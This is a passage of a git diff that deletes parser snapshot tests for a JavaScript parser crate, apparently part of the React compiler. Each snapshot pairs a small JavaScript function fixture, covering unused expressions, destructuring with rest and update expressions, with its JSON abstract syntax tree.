-                "range": [
-                  49,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "obj2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    81
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      84,
-                      94
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    84,
-                    96
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  96
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              97
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "LogicalExpression",
-                    "operator": "??",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "obj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          114
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          115,
-                          116
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        111,
-                        116
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "obj2",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          124
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          125,
-                          126
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        120,
-                        126
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      111,
-                      126
-                    ]
-                  },
-                  "right": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        131,
-                        136
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        137,
-                        138
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      131,
-                      138
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    110,
-                    138
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  138
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              139
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "NullLiteral",
-              "loc": null,
-              "range": [
-                149,
-                153
-              ]
-            },
-            "loc": null,
-            "range": [
-              142,
-              154
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          156
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        156
-      ],
-      "loc": null,
-      "range": [
-        0,
-        156
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    156
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical.js.snap
deleted file mode 100644
index 6b5a82c672e2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-logical.js.snap
+++ /dev/null
@@ -1,230 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-logical.js
----
-Input:
-function Component(props) {
-  let x = 0;
-  props.cond ? (x = 1) : (x = 2);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    48
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    53
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  43,
-                  53
-                ]
-              },
-              "alternate": {
-                "type": "AssignmentExpression",
-                "operator": "=",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  72
-                ]
-              },
-              "consequent": {
-                "type": "AssignmentExpression",
-                "operator": "=",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    61,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  62
-                ]
-              },
-              "loc": null,
-              "range": [
-                43,
-                73
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                84,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element-with-rest.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element-with-rest.js.snap
deleted file mode 100644
index 7e65f56f465a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element-with-rest.js.snap
+++ /dev/null
@@ -1,198 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-object-element-with-rest.js
----
-Input:
-function Foo(props) {
-  // can't remove `unused` since it affects which properties are copied into `rest`
-  const { unused, ...rest } = props.a;
-  return rest;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "unused",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          122
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "unused",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          122
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        116,
-                        122
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "rest",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          127,
-                          131
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        124,
-                        131
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    114,
-                    133
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      136,
-                      141
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      142,
-                      143
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    136,
-                    143
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  114,
-                  143
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              108,
-              144
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "rest",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                154,
-                158
-              ]
-            },
-            "loc": null,
-            "range": [
-              147,
-              159
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          161
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        161
-      ],
-      "loc": null,
-      "range": [
-        0,
-        161
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    161
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element.js.snap
deleted file mode 100644
index 58a4e958efbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-object-element.js.snap
+++ /dev/null
@@ -1,229 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-object-element.js
----
-Input:
-function Foo(props) {
-  const { x, y, ...z } = props.a;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          32,
-                          33
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          32,
-                          33
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        32,
-                        33
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          35,
-                          36
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          35,
-                          36
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        35,
-                        36
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        38,
-                        42
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      47,
-                      52
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      53,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    47,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                65,
-                66
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              67
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          69
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        69
-      ],
-      "loc": null,
-      "range": [
-        0,
-        69
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    69
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-optional-method-assigned-to-variable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-optional-method-assigned-to-variable.js.snap
deleted file mode 100644
index b23e6388c412..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-optional-method-assigned-to-variable.js.snap
+++ /dev/null
@@ -1,255 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-optional-method-assigned-to-variable.js
----
-Input:
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const _ = obj.a?.b?.(props.c);
-  return null;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "obj",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      65
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    55,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "obj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          81,
-                          84
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          86
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        81,
-                        86
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        89
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      81,
-                      89
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          92,
-                          97
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          98,
-                          99
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        92,
-                        99
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    81,
-                    100
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  100
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              101
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "NullLiteral",
-              "loc": null,
-              "range": [
-                111,
-                115
-              ]
-            },
-            "loc": null,
-            "range": [
-              104,
-              116
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          118
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        118
-      ],
-      "loc": null,
-      "range": [
-        0,
-        118
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    118
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-ternary-assigned-to-variable.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-ternary-assigned-to-variable.js.snap
deleted file mode 100644
index ff912aae26b3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@unused-ternary-assigned-to-variable.js.snap
+++ /dev/null
@@ -1,261 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/unused-ternary-assigned-to-variable.js
----
-Input:
-function Component(props) {
-  // unused!
-  const obj = makeObject();
-  const _ = obj.a ? props.b : props.c;
-  return null;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "obj",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      65
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    55,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "obj",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        81,
-                        84
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        85,
-                        86
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      81,
-                      86
-                    ]
-                  },
-                  "alternate": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        104
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        105,
-                        106
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      99,
-                      106
-                    ]
-                  },
-                  "consequent": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        89,
-                        94
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        95,
-                        96
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      89,
-                      96
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    81,
-                    106
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  106
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              107
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "NullLiteral",
-              "loc": null,
-              "range": [
-                117,
-                121
-              ]
-            },
-            "loc": null,
-            "range": [
-              110,
-              122
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          124
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        124
-      ],
-      "loc": null,
-      "range": [
-        0,
-        124
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    124
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@update-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@update-expression.js.snap
deleted file mode 100644
index cf4c073d69da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@update-expression.js.snap
+++ /dev/null
@@ -1,343 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/update-expression.js
----
-Input:
-function foo(props) {
-  let x = props.x;
-  let y = x++;
-  let z = x--;
-  return { x, y, z };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      32,
-                      37
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      39
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    32,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "UpdateExpression",
-                  "operator": "++",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      52
-                    ]
-                  },
-                  "prefix": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              55
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "init": {
-                  "type": "UpdateExpression",
-                  "operator": "--",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      67
-                    ]
-                  },
-                  "prefix": false,
-                  "loc": null,
-                  "range": [
-                    66,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              58,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      82,
-                      83
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      82,
-                      83
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    82,
-                    83
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      85,
-                      86
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      85,
-                      86
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      88,
-                      89
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      88,
-                      89
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                80,
-                91
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
